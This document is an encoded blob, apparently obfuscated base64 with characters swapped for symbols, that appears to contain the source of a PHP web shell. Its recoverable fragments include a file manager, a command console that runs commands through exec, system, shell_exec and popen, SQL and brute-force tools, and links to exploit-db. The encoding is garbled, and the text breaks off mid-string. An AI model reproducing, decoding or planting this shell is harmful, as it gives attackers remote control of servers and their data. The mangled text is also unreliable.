XJzZXQnXTsNCgln[G9iYWwgJGNv[G9yOw0KCWVj]G8gIjxo&G1sPjxoZWFkPjxtZXRhIGh0&HAtZXF1]XY9J0Nv[nRl[nQtVHlwZS<gY29u&GVu&D0n&GV4&C9o&G1sOyBj]GFy<2V0PSIgLiAkX1BPU1R[J2NoYXJzZXQnXSAuICInPjx0]XRsZT4iIC4gJF9TRVJWRVJ[J0hUVFB_SE9TVC&&IC4gIiAtIF&TTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3Rp&GxlPg0KPHN0*WxlPg0KYm9k*XtiYWNrZ3Jv&W5kLWNv[G9yOiM0NDQ7Y29s[3I6I2UxZTFlMTt9DQpi[2R5LHRkLHRo*yBm[250OiA5<HQgTHVj]WRhLFZl<mRh[mE7[WFyZ2luOjA7&mVy&GljYWwtYWxpZ246&G9wO2Nv[G9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGNv[G9yOiNmZmY7YmFj]2&y[3VuZC1j[2xv<jojMjIyOyB9DQpz<GFuLGgxLGF7IGNv[G9yOiAkY29s[3IgIWlt<G9y&GFu&Dsg_Q0K<3Bh[nsgZm9u&C13ZWln]HQ6IGJv[GRl<jsg_Q0K]DF7IGJv<mRl<i1sZWZ0OjVw*CBz[2xpZCAkY29s[3I7<GFkZGluZzogMnB4IDVw*Dtm[250OiAxNHB0IFZl<mRh[mE7YmFj]2&y[3VuZC1j[2xv<jojMjIyO21h<m&p[jow<Hg7IH0NCmRp&i5j[250ZW50*yBwYWRk]W5nOiA1<Hg7[WFyZ2luLWxlZnQ6NXB4O2JhY2tn<m91[mQtY29s[3I6IzMzMzsg_Q0KYXsg&GV4&C1kZWNv<mF0]W9uOm5v[mU7IH0NCmE6]G92ZXJ7IHRl*HQtZGVj[3Jh&Glv[jp1[mRl<mxp[mU7IH0NCi5t[DF7IGJv<mRl<jox<Hgg<29s]WQgIzQ0NDtwYWRk]W5nOjVw*DttYXJn]W46MDtv&mVyZmxv&zogYXV0[zsg_Q0KLmJpZ2FyZWF7IH&pZHRoOjEwMCU7]GVpZ2h0OjI1MHB4OyB9DQpp[nB1&Cx0ZXh0YXJlYSxzZWxlY3R7IG1h<m&p[jowO2Nv[G9yOiNmZmY7YmFj]2&y[3VuZC1j[2xv<jojNTU1O2Jv<mRl<jox<Hgg<29s]WQgJGNv[G9yOyBm[250OiA5<HQgTW9u[3NwYWNlLC&D[3Vy]WVyIE5l&y<7IH0NCmZv<m17IG1h<m&p[jow<Hg7IH0NCiN0[29s<1Ri[Hsg&GV4&C1h[Gln[jpjZW50ZXI7IH0NCi50[29s<0lu<Hsg&2lk&Gg6IDMwMHB4IH0NCi5tYWluIHRo*3Rl*HQtYWxpZ246[GVm&DtiYWNrZ3Jv&W5kLWNv[G9yOiM1ZTVlNWU7_Q0KLm1h]W4g&HI6]G92ZXJ7YmFj]2&y[3VuZC1j[2xv<jojNWU1ZTVl_Q0KLmwx*2JhY2tn<m91[mQtY29s[3I6IzQ0NH0NCi5sMntiYWNrZ3Jv&W5kLWNv[G9yOiMzMzN9DQpw<mV7Zm9u&C1mYW1p[Hk6Q291<mll<ixN[25v<3BhY2U7_Q0KPC9z&HlsZT4NCjxzY3Jp<HQ+DQogICAg&mFyIGN_ID0gJyIgLiBo&G1s<3BlY2lh[GNoYXJzKCRHTE9CQUxTWy&j&2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0[Wxz<GVj]WFsY2hh<nMoQCR_UE9TVFsnYS&&KSAuIi<NCiAgICB2YXIgY2hh<nNl&F8gPSAnIiAuIGh0[Wxz<GVj]WFsY2hh<nMoQCR_UE9TVFsnY2hh<nNl&C&&KSAuIi<7DQogICAg&mFyIHAxXyA9IC<iIC4gKChz&HJw[3MoQCR_UE9TVFsn<DEnXSwiXG4iKSE9PWZh[HNlKT8nJzpo&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsn<DEnXSxFTlR_UVVPVEVTKSkgLiInOw0KICAgIHZh<iBwMl8gPSAnIiAuICgo<3Ry<G9zKEAkX1BPU1R[J3AyJ10sIlxuIikhPT1mYWxzZSk/Jy<6]HRt[HNwZWNpYWxj]GFy<ygkX1BPU1R[J3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIg<DN_ID0gJyIgLiAoKHN0<nBv<yhAJF9QT1NUWy&wMy&&LCJ<[iIpIT09ZmFs<2UpPy<nOmh0[Wxz<GVj]WFsY2hh<nMoJF9QT1NUWy&wMy&&LEVOVF9RVU9URVMpKSAuIi<7DQogICAg&mFyIGQgPSBk[2N1[WVu&DsNCglm&W5j&Glv[iBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJ]WYoYSE9[nVs[ClkLm1mLmEu&mFs&WU9YTtl[HNlIGQu[WYuYS52YWx1ZT1hXzsNCgkJ]WYoYyE9[nVs[ClkLm1mLmMu&mFs&WU9Yztl[HNlIGQu[WYuYy52YWx1ZT1jXzsNCgkJ]WYo<DEhPW51[GwpZC5tZi5wMS52YWx1ZT1wMTtl[HNlIGQu[WYu<DEu&mFs&WU9<DF_Ow0KCQlpZihwMiE9[nVs[ClkLm1mLnAyLnZh[HVlPXAyO2Vs<2UgZC5tZi5wMi52YWx1ZT1wMl87DQoJCWlmKHAzIT1u&WxsKWQu[WYu<DMu&mFs&WU9<DM7ZWxzZSBkLm1mLnAzLnZh[HVlPXAzXzsNCgkJ]WYoY2hh<nNl&CE9[nVs[ClkLm1mLmNoYXJzZXQu&mFs&WU9Y2hh<nNl&Dtl[HNlIGQu[WYuY2hh<nNl&C52YWx1ZT1j]GFy<2V0XzsNCgl9DQoJZnVuY3Rp[24gZyhhLGMs<DEs<DIs<DMsY2hh<nNl&Ckg*w0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQlkLm1mLnN1Ym1p&CgpOw0KCX0NCglm&W5j&Glv[iBhKGEsYyxwMSxwMixwMyxj]GFy<2V0KSB7DQoJCXNl&ChhLGMs<DEs<DIs<DMsY2hh<nNl&Ck7DQoJCXZh<iBwYXJh[XMgPSAnYWph*D10<nVlJzsNCgkJZm9yKGk9MDtpPGQu[WYuZWxl[WVu&HMu[GVuZ3RoO2krKykNCgkJCXBh<mFt<yArPSAnJi<rZC5tZi5l[GVtZW50<1tpXS5uYW1lKy<9Jytl[mNvZGVVUklD[21w[25l[nQoZC5tZi5l[GVtZW50<1tpXS52YWx1ZSk7DQoJCXNyKC<iIC4gYWRk<2xh<2hl<ygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJh[XMpOw0KCX0NCglm&W5j&Glv[iBz<ih1<mwsIHBh<mFt<ykg*wkNCgkJ]WYgKH&p[mRv&y5YTUxI&HRwUmVx&WVz&CkNCgkJCXJl<SA9IG5l&yBYTUxI&HRwUmVx&WVz&CgpOw0KCQll[HNlIGlmICh3]W5k[3<uQWN0]XZlWE9i]mVj&CkNCgkJCXJl<SA9IG5l&yBBY3Rp&mVYT2JqZWN0KC&N]WNy[3NvZnQuWE1MSFRUUC<pOw0KICAgICAgICBpZiAo<mVxKSB7DQogICAgICAgICAgICByZXEu[25yZWFk*XN0YXRlY2hh[m&lID0g<HJvY2Vz<1Jl<UNoYW5nZTsNCiAgICAgICAgICAgIHJl<S5v<GVuKC&QT1NUJywg&XJsLCB0<nVlKTsNCiAgICAgICAgICAgIHJl<S5zZXRSZXF1ZXN0SGVhZGVyICgnQ29u&GVu&C1U*XBlJywgJ2Fw<GxpY2F0]W9uL3gt&3&3LWZv<m0t&XJsZW5j[2RlZC<pOw0KICAgICAgICAgICAg<mVxLnNl[mQo<GFyYW1zKTsNCiAgICAgICAg_Q0KCX0NCglm&W5j&Glv[iBw<m9jZXNzUmVxQ2hh[m&lKCkg*w0KCQlpZiggKHJl<S5yZWFk*VN0YXRlID09IDQpICkNCgkJCWlmKHJl<S5z&GF0&XMgPT0gMjAwKSB7DQoJCQkJ&mFyIHJlZyA9IG5l&yBSZW&F*HAoXCIoXFx<XGQrKSh[XFx<XFN<XFx<<10qKVwiLCAn[S<pOw0KCQkJCXZh<iBh<nI9<mVnLmV4ZWMo<mVxLnJl<3Bv[nNlVGV4&Ck7DQoJCQkJZXZh[Chh<nJ[Ml0u<3Vi<3RyKDAsIGFy<lsxXSkpOw0KCQkJ_SBl[HNlIGFsZXJ0KC&SZXF1ZXN0IGVy<m9yIS<pOw0KCX0NCjwv<2Ny]XB0Pg0KPGhlYWQ+PGJvZHk+PGRp&iBz&HlsZT0n<G9z]XRp[246YWJz[2x1&GU7&2lk&Gg6MTAwJTtiYWNrZ3Jv&W5kLWNv[G9yOiM0NDQ7&G9wOjA7[GVm&DowOy<+DQo8Zm9y[SBtZXRo[2Q9<G9z&CBuYW1lPW1mIHN0*WxlPS&k]XNw[GF5Om5v[mU7Jz4NCjxp[nB1&CB0*XBlPWhpZGRl[iBuYW1lPWE+DQo8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1jPg0KPGlu<HV0IHR5<GU9]GlkZGVuIG5h[WU9<DE+DQo8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1wMj4NCjxp[nB1&CB0*XBlPWhpZGRl[iBuYW1lPXAzPg0KPGlu<HV0IHR5<GU9]GlkZGVuIG5h[WU9Y2hh<nNl&D4NCjwvZm9y[T4iOw0KCSRm<mVlU3BhY2UgPSBAZGlz]2ZyZWVz<GFjZSgkR0xPQkFMU1snY3&kJ10pOw0KCSR0[3Rh[FNwYWNlID0gQGRp<2t_&G90YWx_<3BhY2UoJE&MT0JBTFN[J2N3ZC&&KTsNCgkk&G90YWxT<GFjZSA9ICR0[3Rh[FNwYWNlPyR0[3Rh[FNwYWNlOjE7DQoJJHJl[GVh<2UgPSBA<GhwX3VuYW1lKC&yJyk7DQoJJGtl<m5l[CA9IEBw]HB_&W5h[WUoJ3MnKTsNCgkkZXhw[Glu]yA9IC&o&HRwOi8vZXhw[G9p&C1kYi5j[20v[Glz&C5w]HA/ZGVzY3Jp<HRp[249JzsNCglpZihz&HJw[3MoJ0xp[nV4JywgJGtl<m5l[CkgIT09IGZh[HNlKQ0KCQkkZXhw[Glu]yAuPSB1<mxl[mNvZGUoJ0xp[nV4IEtl<m5l[CAnIC4g<3Vi<3RyKCRyZWxlYXNlLDAsNikpOw0KCWVs<2UNCgkJJGV4<Gxp[msgLj0g&XJsZW5j[2RlKCRrZXJuZWwgLiAnIC<gLiBz&WJz&HIoJHJl[GVh<2UsMCwzKSk7DQoJ]WYoIWZ1[mN0]W9uX2V4]XN0<ygn<G9z]Xh_Z2V0ZW&pZC<pKSB7DQoJCSR1<2VyID0gQG&l&F9j&XJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRt*XVpZCgpOw0KCQkkZ2lkID0gQG&l&G15Z2lkKCk7DQoJCSRn<m91<CA9ICI/IjsNCgl9IGVs<2Ug*w0KCQkk&WlkID0gQHBv<2l4X2&l&HB3&WlkKHBv<2l4X2&l&GV1]WQoKSk7DQoJCSRn]WQgPSBA<G9z]Xh_Z2V0Z3Jn]WQo<G9z]Xh_Z2V0ZW&pZCgpKTsNCgkJJHVzZXIgPSAk&WlkWy&uYW1lJ107DQoJCSR1]WQgPSAk&WlkWy&1]WQnXTsNCgkJJG&y[3VwID0gJG&pZFsn[mFtZS&&Ow0KCQkkZ2lkID0gJG&pZFsnZ2lkJ107DQoJ_Q0KDQoJJGN3ZF9s]W5r<yA9IC<nOw0KCSRwYXRoID0gZXhw[G9kZSgiLyIsICRHTE9CQUxTWy&j&2QnXSk7DQoJJG49Y291[nQoJHBh&GgpOw0KCWZv<igk]T0wOyAk]Twk[i0xOyAk]SsrKSB7DQoJCSRj&2R_[Glu]3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2<oXCJG]Wxl<01h[lwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0k]TsgJGorKykNCgkJCSRj&2R_[Glu]3MgLj0gJHBh&Gh[JGp&Li<vJzsNCgkJJGN3ZF9s]W5r<yAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRj]GFy<2V0<yA9IGFy<mF5KC&VVEYtOC<sIC&X]W5k[3&zLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVS<sIC&j<Dg2Ni<pOw0KCSRv<HR_Y2hh<nNl&HMgPSAnJzsNCglm[3JlYWNoKCRj]GFy<2V0<yBh<yAk]XRl[SkNCgkJJG9w&F9j]GFy<2V0<yAuPSAnPG9w&Glv[iB2YWx1ZT0iJy4k]XRl[S4nIiAnLigkX1BPU1R[J2NoYXJzZXQnXT09JGl0ZW0/J3Nl[GVj&GVkJzonJykuJz4nLiRp&GVtLi<8L29w&Glv[j4nOw0KDQoJJG0gPSBh<nJh*SgnU2VjLiBJ[mZvJz0+J1NlY0luZm8nLC&G]Wxl<y<9Pi&G]Wxl<01h[i<sJ0Nv[nNv[GUnPT4nQ29u<29sZS<sJ1Nx[C<9Pi&T<WwnLC&Q]HAnPT4nUGhwJywnU2FmZSBt[2RlJz0+J1NhZmVN[2RlJywnU3Ry]W5nIHRv[2xzJz0+J1N0<mluZ1Rv[2xzJywnQnJ1&GVm[3JjZS<9Pi&C<nV0ZWZv<mNlJywnTmV0&29y]y<9Pi&OZXR3[3JrJyk7DQoJ]WYoIWVt<HR5KCRHTE9CQUxTWy&h&XRoX3Bh<3MnXSkpDQoJCSRtWy&M[2&v&XQnXSA9IC&M[2&v&XQnOw0KCSRtWy&TZWxmIHJl[W92ZS&&ID0gJ1Nl[GZSZW1v&mUnOw0KCSRtZW51ID0gJy<7DQoJZm9yZWFj]Cgk[SBh<yAk]yA9PiAk&ikNCgkJJG1l[nUgLj0gJzx0]CB3]WR0]D0iJy4o]W50KSgxMDAvY291[nQoJG0pKS4nJSI+WyA8YSBo<mVmPSIjIiBv[mNs]WNrPSJnKFwnJy4k&i4nXC<s[nVs[Cx<J1wnLFwnXC<sXC&<JykiPi<uJGsuJzwvYT4gXTwv&Gg+JzsNCg0KCSRk<ml2ZXMgPSAiIjsNCglpZigkR0xPQkFMU1sn[3MnXSA9PSAn&2luJykg*w0KCQlm[3JlYWNoKHJh[m&lKC&jJywn*i<pIGFzICRk<ml2ZSkNCgkJ]WYo]XN_ZGlyKCRk<ml2ZS4nOlx<JykpDQoJCQkkZHJp&mVzIC49IC<8YSBo<mVmPSIjIiBv[mNs]WNrPSJnKFwnRmlsZXNNYW5<Jyx<Jy<uJGRy]XZlLi<6L1wnKSI+WyAnLiRk<ml2ZS4nIF08L2E+IC<7DQoJ_Q0KCWVj]G8gJzx0YWJsZSBj[GFz<z1p[mZvIGNl[GxwYWRk]W5nPTMgY2Vs[HNwYWNp[m<9MCB3]WR0]D0xMDAlPjx0<j48&GQg&2lk&Gg9MT48<3Bh[j5V[mFtZTo8YnI+VXNl<jo8YnI+UGhwOjxi<j5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWy&v<y&&ID09IC&3]W4nPy<8YnI+RHJp&mVzOi<6Jy<pIC4gJzwv<3Bh[j48L3RkPi<NCiAgICAgICAuIC<8&GQ+PG5vYnI+JyAuIHN1YnN0<ihA<GhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDxhIGhyZWY9Ii<gLiAkZXhw[Glu]yAuIC<iIHRh<m&l&D1_Ymxh[ms+W2V4<Gxv]XQtZGIuY29tXTwvYT48L25vYnI+PGJyPi<gLiAk&WlkIC4gJyAoIC<gLiAk&XNl<iAuIC<gKSA8<3Bh[j5H<m91<Do8L3NwYW4+IC<gLiAkZ2lkIC4gJyAoIC<gLiAkZ3Jv&XAgLiAnICk8YnI+JyAuIEBw]HB2ZXJz]W9uKCkgLiAnIDxz<GFuPlNhZmUg[W9kZTo8L3NwYW4+IC<gLiAoJE&MT0JBTFN[J3NhZmV_[W9kZS&&Py<8Zm9u&CBj[2xv<j1yZWQ+T048L2Zv[nQ+JzonPGZv[nQgY29s[3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9m[250Pi<pDQogICAgICAgLiAnIDxhIGhyZWY9IyBv[mNs]WNrPSJnKFwnUGhwXC<s[nVs[Cx<J1wnLFwn]W5m[1wnKSI+WyBw]HBp[mZvIF08L2E+IDxz<GFuPkRh&GV0]W1lOjwv<3Bh[j4gJyAuIGRh&GUoJ1kt[S1kIEg6]TpzJykgLiAnPGJyPi<gLiB3<29W]WV3U2l6ZSgk&G90YWxT<GFjZSkgLiAnIDxz<GFuPkZyZWU6PC9z<GFuPiAnIC4g&3NvVmll&1Np*mUoJGZyZWVT<GFjZSkgLiAnICgnLiAo]W50KSAoJGZyZWVT<GFjZS8k&G90YWxT<GFjZSoxMDApIC4gJyUpPGJyPi<gLiAkY3&kX2xp[mtzIC4gJyAnLiB3<29QZXJt<0Nv[G9yKCRHTE9CQUxTWy&j&2QnXSkgLiAnIDxhIGhyZWY9IyBv[mNs]WNrPSJnKFwnRmlsZXNNYW5<Jyx<Jy<gLiAkR0xPQkFMU1sn]G9tZV9j&2QnXSAuIC&<Jyx<J1wnLFwnXC<sXC&<JykiPlsg]G9tZSB&PC9hPjxi<j4nIC4gJGRy]XZl<yAuIC<8L3RkPi<NCiAgICAgICAuIC<8&GQg&2lk&Gg9MSBh[Gln[j1y]W&o&D48[m9i<j48<2VsZWN0IG9uY2hh[m&lPSJnKG51[Gws[nVs[Cxu&WxsLG51[Gws[nVs[Cx0]GlzLnZh[HVlKSI+PG9w&G&y[3VwIGxhYmVsPSJQYW&lIGNoYXJzZXQiPi<gLiAk[3B0X2NoYXJzZXRzIC4gJzwv[3B0Z3Jv&XA+PC9zZWxlY3Q+PGJyPjxz<GFuPlNl<nZl<iBJUDo8L3NwYW4+PGJyPi<gLiBAJF9TRVJWRVJ[IlNFUlZFUl9BRERSIl0gLiAnPGJyPjxz<GFuPkNs]WVu&CBJUDo8L3NwYW4+PGJyPi<gLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIC<8L25vYnI+PC90ZD48L3RyPjwv&GFi[GU+Jw0KICAgICAgIC4gJzx0YWJsZSBz&HlsZT0iYm9yZGVyLXRv<Doy<Hgg<29s]WQgIzMzMzsiIGNl[GxwYWRk]W5nPTMgY2Vs[HNwYWNp[m<9MCB3]WR0]D0xMDAlPjx0<j4nIC4gJG1l[nUgLiAnPC90<j48L3RhYmxlPjxk]XYg<3R5[GU9Im1h<m&p[jo1Ij4nOw0K_Q0KDQpm&W5j&Glv[iB3<29G[290ZXIoKSB7DQoJJGlzX3&y]XRhYmxlID0g]XN_&3Jp&GFi[GUoJE&MT0JBTFN[J2N3ZC&&KT8iIDxm[250IGNv[G9yPS<jMjVmZjAwJz4oV3Jp&GVhYmxlKTwvZm9u&D4iOiIgPGZv[nQgY29s[3I9<mVkPihO[3Qg&3Jp&GFi[GUpPC9m[250PiI7DQogICAgZWNo[yAiDQo8L2Rp&j4NCjx0YWJsZSBj[GFz<z1p[mZvIGlkPXRv[2xzVGJsIGNl[GxwYWRk]W5nPTMgY2Vs[HNwYWNp[m<9MCB3]WR0]D0xMDAlICBz&HlsZT0nYm9yZGVyLXRv<Doy<Hgg<29s]WQgIzMzMzti[3JkZXItYm90&G9tOjJw*CBz[2xpZCAjMzMzOy<+DQoJPHRyPg0KCQk8&GQ+PGZv<m0g[25z&WJt]XQ9J2<o[nVs[Cx0]GlzLmMu&mFs&WUsXCJ<Iik7<mV0&XJuIGZh[HNlOy<+PHNwYW4+Q2hh[m&lIGRp<jo8L3NwYW4+PGJyPjxp[nB1&CBj[GFz<z0n&G9v[HNJ[nAnIHR5<GU9&GV4&CBuYW1lPWMg&mFs&WU9JyIgLiBo&G1s<3BlY2lh[GNoYXJzKCRHTE9CQUxTWy&j&2QnXSkgLiInPjxp[nB1&CB0*XBlPXN1Ym1p&CB2YWx1ZT0nPj4nPjwvZm9y[T48L3RkPg0KCQk8&GQ+PGZv<m0g[25z&WJt]XQ9XCJnKC&G]Wxl<1Rv[2xzJyxu&WxsLHRo]XMuZi52YWx1ZSk7<mV0&XJuIGZh[HNlO1wiPjxz<GFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxp[nB1&CBj[GFz<z0n&G9v[HNJ[nAnIHR5<GU9&GV4&CBuYW1lPWY+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPS<+Pi<+PC9m[3JtPjwv&GQ+DQoJPC90<j48&HI+DQoJCTx0ZD48Zm9y[SBv[nN1Ym1p&D1<Im<oJ0Zp[GVzTWFuJyxu&WxsLC&t]2Rp<i<s&Ghp<y5kLnZh[HVlKTtyZXR1<m4gZmFs<2U7XCI+PHNwYW4+TWFrZSBk]XI6PC9z<GFuPiRp<193<ml0YWJsZTxi<j48]W5w&XQgY2xh<3M9J3Rv[2xzSW5wJyB0*XBlPXRl*HQg[mFtZT1kPjxp[nB1&CB0*XBlPXN1Ym1p&CB2YWx1ZT0nPj4nPjwvZm9y[T48L3RkPg0KCQk8&GQ+PGZv<m0g[25z&WJt]XQ9XCJnKC&G]Wxl<1Rv[2xzJyxu&WxsLHRo]XMuZi52YWx1ZSwn[Wtm]WxlJyk7<mV0&XJuIGZh[HNlO1wiPjxz<GFuPk1h]2UgZmlsZTo8L3NwYW4+JGlzX3&y]XRhYmxlPGJyPjxp[nB1&CBj[GFz<z0n&G9v[HNJ[nAnIHR5<GU9&GV4&CBuYW1lPWY+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPS<+Pi<+PC9m[3JtPjwv&GQ+DQoJPC90<j48&HI+DQoJCTx0ZD48Zm9y[SBv[nN1Ym1p&D1<Im<oJ0Nv[nNv[GUnLG51[Gws&Ghp<y5jLnZh[HVlKTtyZXR1<m4gZmFs<2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxp[nB1&CBj[GFz<z0n&G9v[HNJ[nAnIHR5<GU9&GV4&CBuYW1lPWMg&mFs&WU9Jy<+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPS<+Pi<+PC9m[3JtPjwv&GQ+DQoJCTx0ZD48Zm9y[SBtZXRo[2Q9J3Bv<3QnIEVOQ1RZUEU9J211[HRp<GFy&C9m[3JtLWRh&GEnPg0KCQk8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1hIHZh[HVlPS&G]Wxl<01B[i<+DQoJCTxp[nB1&CB0*XBlPWhpZGRl[iBuYW1lPWMg&mFs&WU9JyIgLiAkR0xPQkFMU1snY3&kJ10gLiInPg0KCQk8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1wMSB2YWx1ZT0n&XBs[2FkRmlsZS<+DQoJCTxp[nB1&CB0*XBlPWhpZGRl[iBuYW1lPWNoYXJzZXQg&mFs&WU9JyIgLiAo]XNzZXQoJF9QT1NUWy&j]GFy<2V0J10pPyR_UE9TVFsnY2hh<nNl&C&&Oi<nKSAuICInPg0KCQk8<3Bh[j5V<GxvYWQgZmlsZTo8L3NwYW4+JGlzX3&y]XRhYmxlPGJyPjxp[nB1&CBj[GFz<z0n&G9v[HNJ[nAnIHR5<GU9ZmlsZSBuYW1lPWY+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPS<+Pi<+PC9m[3JtPjxi<iAgPjwv&GQ+DQoJPC90<j48L3RhYmxlPjwvZGl2PjwvYm9k*T48L2h0[Ww+IjsNCn0NCg0K]WYgKCFm&W5j&Glv[l9l*Glz&HMoInBv<2l4X2&l&HB3&WlkIikgJiYgKHN0<nBv<ygkR0xPQkFMU1snZGlzYWJsZV9m&W5j&Glv[nMnXSwgJ3Bv<2l4X2&l&HB3&WlkJyk9PT1mYWxzZSkpIHsNCiAgICBm&W5j&Glv[iBw[3Np*F9nZXRw&3VpZCgk<Ckg*3Jl&HVy[iBmYWxzZTt9IH0NCmlmICghZnVuY3Rp[25_ZXhp<3RzKCJw[3Np*F9nZXRn<m&pZCIpICYmIChz&HJw[3MoJE&MT0JBTFN[J2Rp<2Fi[GV_ZnVuY3Rp[25zJ10sIC&w[3Np*F9nZXRn<m&pZC<pPT09ZmFs<2UpKSB7DQogICAgZnVuY3Rp[24g<G9z]Xh_Z2V0Z3Jn]WQoJHApIHtyZXR1<m4gZmFs<2U7_SB9DQoNCmZ1[mN0]W9uIH&z[0V4KCRp[ikg*w0KCSRv&XQgPSAnJzsNCglpZiAoZnVuY3Rp[25_ZXhp<3RzKC&l*GVjJykpIHsNCgkJQGV4ZWMoJGluLCRv&XQpOw0KCQkk[3V0ID0gQGpv]W4oIlxuIiwk[3V0KTsNCgl9IGVs<2VpZiAoZnVuY3Rp[25_ZXhp<3RzKC&wYXNz&Ghy&S<pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBwYXNz&Ghy&Sgk]W4pOw0KCQkk[3V0ID0g[2J_Z2V0X2NsZWFuKCk7DQoJ_SBl[HNl]WYgKGZ1[mN0]W9uX2V4]XN0<ygn<3lz&GVtJykpIHsNCgkJ[2J_<3Rh<nQoKTsNCgkJQHN5<3Rl[Sgk]W4pOw0KCQkk[3V0ID0g[2J_Z2V0X2NsZWFuKCk7DQoJ_SBl[HNl]WYgKGZ1[mN0]W9uX2V4]XN0<ygn<2hl[Gx_ZXhlYy<pKSB7DQoJCSRv&XQgPSBz]GVs[F9l*GVjKCRp[ik7DQoJ_SBl[HNl]WYgKGlzX3Jl<291<mNlKCRmID0gQHBv<GVuKCRp[iwi<iIpKSkg*w0KCQkk[3V0ID0gIiI7DQoJCX&o]WxlKCFAZmVvZigkZikpDQoJCQkk[3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KCQlwY2xv<2UoJGYpOw0KCX0NCglyZXR1<m4gJG91&DsNCn0NCmZ1[mN0]W9uIH&z[1ZpZX&T]XplKCRzKSB7DQoJ]WYoJHMgPj0gMTA3Mz<0MTgyNCkNCgkJ<mV0&XJuIHNw<mlu&GYoJyUxLjJmJywgJHMgLyAxMD<zNzQxODI0ICkuIC<gR0InOw0KCWVs<2VpZigk<yA+PSAxMDQ4NT<2KQ0KCQlyZXR1<m4g<3By]W50ZignJTEuMmYnLCAk<yAvIDEwNDg1NzYgKSAuIC<gTUInOw0KCWVs<2VpZigk<yA+PSAxMDI0KQ0KCQlyZXR1<m4g<3By]W50ZignJTEuMmYnLCAk<yAvIDEwMjQgKSAuIC<gS0InOw0KCWVs<2UNCgkJ<mV0&XJuICRzIC4gJyBCJzsNCn0NCg0KZnVuY3Rp[24g&3NvUGVy[XMoJHApIHsNCglpZiAoKCRwICYgMHhDMDAwKSA9PSAw*EMwMDApJGkgPSAn<y<7DQoJZWxzZWlmICgoJHAgJiAw*EEwMDApID09IDB4QTAwMCkk]SA9IC&sJzsNCgll[HNl]WYgKCgk<CAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KCWVs<2VpZiAoKCRwICYgMHg2MDAwKSA9PSAw*DYwMDApJGkgPSAnYi<7DQoJZWxzZWlmICgoJHAgJiAw*DQwMDApID09IDB4NDAwMCkk]SA9IC&kJzsNCgll[HNl]WYgKCgk<CAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KCWVs<2VpZiAoKCRwICYgMHgxMDAwKSA9PSAw*DEwMDApJGkgPSAn<C<7DQoJZWxzZSAk]SA9IC&1JzsNCgkk]SAuPSAoKCRwICYgMHgwMTAwKSA/IC&yJyA6IC<tJyk7DQoJJGkgLj0gKCgk<CAmIDB4MDA4MCkgPyAn&y<gOiAnLS<pOw0KCSRpIC49ICgoJHAgJiAw*DAwNDApID8gKCgk<CAmIDB4MDgwMCkgPyAn<y<gOiAn*C<gKSA6ICgoJHAgJiAw*DA4MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgk<CAmIDB4MDAyMCkgPyAn<i<gOiAnLS<pOw0KCSRpIC49ICgoJHAgJiAw*DAwMTApID8gJ3<nIDogJy0nKTsNCgkk]SAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAw*DA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/IC&TJyA6IC<tJykpOw0KCSRpIC49ICgoJHAgJiAw*DAwMDQpID8gJ3InIDogJy0nKTsNCgkk]SAuPSAoKCRwICYgMHgwMDAyKSA/IC&3JyA6IC<tJyk7DQoJJGkgLj0gKCgk<CAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/IC&0JyA6IC&4JyApIDogKCgk<CAmIDB4MDIwMCkgPyAnVC<gOiAnLS<pKTsNCglyZXR1<m4gJGk7DQp9DQoNCmZ1[mN0]W9uIH&z[1Bl<m1zQ29s[3IoJGYpIHsNCglpZiAoIUBp<19yZWFkYWJsZSgkZikpDQoJCXJl&HVy[iAnPGZv[nQgY29s[3I9I0ZGMDAwMD4nIC4g&3NvUGVy[XMoQGZp[GVwZXJt<ygkZikpIC4gJzwvZm9u&D4nOw0KCWVs<2VpZiAoIUBp<193<ml0YWJsZSgkZikpDQoJCXJl&HVy[iAnPGZv[nQgY29s[3I9&2hp&GU+JyAuIH&z[1Bl<m1zKEBm]Wxl<GVy[XMoJGYpKSAuIC<8L2Zv[nQ+JzsNCgll[HNlDQoJCXJl&HVy[iAnPGZv[nQgY29s[3I9IzI1ZmYwMD4nIC4g&3NvUGVy[XMoQGZp[GVwZXJt<ygkZikpIC4gJzwvZm9u&D4nOw0K_Q0KDQppZighZnVuY3Rp[25_ZXhp<3RzKCJzY2FuZGlyIikpIHsNCglm&W5j&Glv[iBzY2FuZGlyKCRk]XIpIHsNCgkJJGRoICA9IG9wZW5k]XIoJGRp<ik7DQoJCX&o]WxlIChmYWxzZSAhPT0gK